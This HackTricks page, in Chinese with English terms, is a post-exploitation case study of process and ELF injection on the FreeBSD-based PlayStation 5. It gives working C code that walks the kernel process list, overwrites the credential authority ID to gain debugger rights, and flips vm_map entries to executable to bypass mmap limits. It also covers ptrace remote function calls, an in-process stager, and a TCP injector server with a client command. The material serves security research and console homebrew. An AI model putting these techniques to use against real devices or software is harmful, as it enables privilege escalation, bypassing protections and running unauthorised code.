FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Overview

本页记录了在基于 FreeBSD 的 PlayStation 5 (PS5) 上实现的一种实用 Unix/BSD usermode process/ELF injection 技术。该方法在已有 kernel read/write (R/W) primitives 的情况下可推广到 FreeBSD 衍生版本。高层次步骤:

  • 修补当前进程凭据 (ucred) 以授予调试器权限,从而对任意用户进程启用 ptrace/mdbg。
  • 通过遍历内核的 allproc 链表来查找目标进程。
  • 通过在目标的 vm_map 中对 vm_map_entry.protection 进行位操作(设置 |= PROT_EXEC)来绕过 PROT_EXEC 限制,方法是写入内核数据。
  • 使用 ptrace 执行 Remote Function Invocation (RFI):挂起线程、设置寄存器以在目标内调用任意函数、恢复执行、收集返回值并恢复状态。
  • 在目标进程内使用 in-process ELF loader 映射并运行任意 ELF payload,然后创建一个专用线程运行该 payload 并触发断点以干净地 detach。

需要注意的 PS5 hypervisor 缓解措施(针对本技术的上下文):

  • XOM (execute-only .text) 阻止读取/写入内核 .text。
  • 清除 CR0.WP 或禁用 CR4.SMEP 会导致 hypervisor vmexit(崩溃)。只有纯数据的内核写入是可行的。
  • Userland mmap 默认限制为 PROT_READ|PROT_WRITE。授予 PROT_EXEC 必须通过修改内核内的 vm_map 条目来完成。

此技术属于 post-exploitation:它假设已有来自 exploit chain 的 kernel R/W primitives。公开的 payload 在撰写时已证明可用于到固件 10.01。

Kernel data-only primitives

Process discovery via allproc

FreeBSD 在内核 .data 的 allproc 处维护了一个双向链表。借助 kernel read primitive,遍历该链表以定位进程名和 PID:

c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
} while (next);
free(proc);
return NULL;
}

void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}

注意:

  • KERNEL_ADDRESS_ALLPROC 取决于固件。
  • p_comm 是固定大小的名称;如有需要,考虑使用 pid->proc 查找。

提升用于调试的凭证 (ucred)

在 PS5 上,struct ucred 包含一个可以通过 proc->p_ucred 访问的 Authority ID 字段。写入 debugger authority ID 可授予对其他进程的 ptrace/mdbg 权限:

c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
  • Offset 0x58 特定于 PS5 固件系列,必须针对每个版本验证。
  • 在此写入之后,injector 可以通过 ptrace/mdbg 附加并对用户进程进行插桩。

绕过仅限 RW 的用户映射: vm_map PROT_EXEC flip

用户态的 mmap 可能被限制为 PROT_READ|PROT_WRITE。FreeBSD 使用由 vm_map_entry 节点组成的 vm_map(BST 加链表)来跟踪进程的地址空间。每个条目包含 protection 和 max_protection 字段:

c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};

在获得内核 R/W 权限后,你可以定位目标的 vm_map 并设置 entry->protection |= PROT_EXEC(如果需要,也可以设置 entry->max_protection)。实现要点:

  • 通过 next 线性遍历条目,或使用平衡树(left/right)按地址范围进行 O(log n) 查找。
  • 选择一个你可控的已知 RW 区域(scratch buffer 或 mapped file),并添加 PROT_EXEC,以便你能放置代码或 loader thunks。
  • PS5 SDK 代码提供用于快速 map-entry 查找和切换保护的辅助函数。

这通过直接编辑内核拥有的元数据来绕过 userland 的 mmap 策略。

Remote Function Invocation (RFI) with ptrace

  1. 附加到目标并选择一个线程;可使用 PTRACE_ATTACH 或 PS5 特定的 mdbg 流程。
  2. 保存线程上下文:registers、PC、SP、flags。
  3. 按照 ABI(x86_64 SysV 或 arm64 AAPCS64)写入 argument registers,将 PC 设置为目标函数,并根据需要在堆栈中放置额外的 args/stack。
  4. 单步执行或继续运行直到受控停止(例如软件断点或 signal),然后从 regs 中读取返回值。
  5. 恢复原始上下文并继续执行。

使用场景:

  • 在进程内调用 ELF loader(例如 elfldr_load),传入指向目标进程内 ELF 镜像的指针。
  • 调用辅助例程以获取返回的 entrypoints 和 payload-args 指针。

驱动 ELF loader 的示例:

c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args  = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);

loader 会映射 segments、解析 imports、应用 relocations,并返回 entry(通常是 CRT bootstrap)以及一个不透明的 payload_args 指针,该指针由你的 stager 传给 payload 的 main()。

线程化 stager 与 干净的 detach

目标内的最小 stager 会创建一个新的 pthread 来运行 ELF 的 main,然后触发 int3 以通知 injector detach:

c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
  • SCEFunctions/payload_args pointers 由 loader/SDK glue 提供。
  • 在 breakpoint 和 detach 之后,payload 在其自己的 thread 中继续执行。

端到端流程(PS5 reference implementation)

一个可工作的实现以一个小型 TCP injector server 加上一个 client script 的形式提供:

  • NineS server 在 TCP 9033 上监听,并接收包含目标进程名的 header,后面跟着 ELF image:
c
typedef struct __injector_data_t{
char       proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
  • Python 客户端用法:
bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>

Hello-world payload 示例(记录到 klog):

c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}

实践注意事项

  • Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) 是固件特定的,必须随每个版本更新。
  • Hypervisor 保护强制只做数据型内核写入;不要尝试修补 CR0.WP 或 CR4.SMEP。
  • JIT memory 是一种替代方案:一些进程暴露 PS5 JIT APIs 来分配可执行页面。vm_map protection flip 消除了对 JIT/mirroring 技巧的依赖。
  • 保持寄存器保存/恢复逻辑的健壮性;若失败,可能导致目标死锁或崩溃。

公共工具

  • PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
  • ELF loader: https://github.com/ps5-payload-dev/elfldr
  • Injector server: https://github.com/buzzer-re/NineS/
  • Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
  • Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks